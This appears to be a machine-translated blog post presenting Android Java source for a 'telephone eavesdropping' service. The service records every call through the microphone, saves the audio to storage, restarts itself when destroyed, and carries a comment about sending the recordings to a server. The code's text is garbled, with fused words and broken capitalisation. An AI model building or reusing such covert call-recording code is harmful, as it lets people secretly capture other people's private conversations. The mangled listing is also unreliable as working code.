Business logic:
Make a recording of the phone when a call comes in or when the phone is called.
Public classTelphoneylistenerserviceextendsService {Private Static FinalString TAG = "Telphoneylistenerservice"; Mediarecorder Mediarecorder=NULL; Telephonymanager TM=NULL; MyListener MyListener=NULL; @Override Publicibinder onbind (Intent Intent) {//Todo:return The communication channel to the service. Throw NewUnsupportedoperationexception ("not yet implemented"); } @Override Public voidonCreate () {Super. OnCreate (); TM= (Telephonymanager) This. Getsystemservice (Context.telephony_service); MyListener=NewMyListener (); Tm.listen (MyListener, phonestatelistener.listen_call_state); } @Override Public intOnstartcommand (Intent Intent,intFlagsintStartid) {Toast.maketext ( This, "Service started successfully", Toast.length_long). Show (); return Super. Onstartcommand (Intent, flags, Startid); } @Override Public voidOnDestroy () {Super. OnDestroy (); LOG.I (TAG,"Phone Listening service stopped"); Intent Intent=NewIntent ( This, TelphoneyListenerService1.class); StartService (Intent); Tm.listen (Mylistener,phonestatelistener.listen_none); MyListener=NULL; } Private classMyListenerextendsPhonestatelistener {@Override Public voidOncallstatechanged (intState , String Incomingnumber) { Try { Switch(state) { CaseTelephonymanager.call_state_idle:if(Mediarecorder! =NULL) {mediarecorder.stop (); Mediarecorder.release (); Mediarecorder=NULL; LOG.I (TAG,"End of recording"); //Send audio files after recording to the server } Break; Casetelephonymanager.call_state_ringing: Break; CaseTelephonymanager.call_state_offhook://1. Turn on the recording functionLOG.I (TAG, "Start recording"); Mediarecorder=NewMediarecorder (); //2. Set the recording sourceMediarecorder.setaudiosource (MediaRecorder.AudioSource.MIC); //3. Set the output file formatMediarecorder.setoutputformat (MediaRecorder.OutputFormat.DEFAULT); //4. Set the output file nameFile File =NewFile (Environment.getexternalstoragedirectory (), System.currenttimemillis () + ". 3gp"); Mediarecorder.setoutputfile (File.getabsolutepath ()); //5. Set the encoding formatMediarecorder.setaudioencoder (MediaRecorder.AudioEncoder.DEFAULT); //6. PreparationMediarecorder.prepare (); //7. StartMediarecorder.start (); Break; } } Catch(Exception e) {e.printstacktrace (); } } }}
Telephone Qie listening device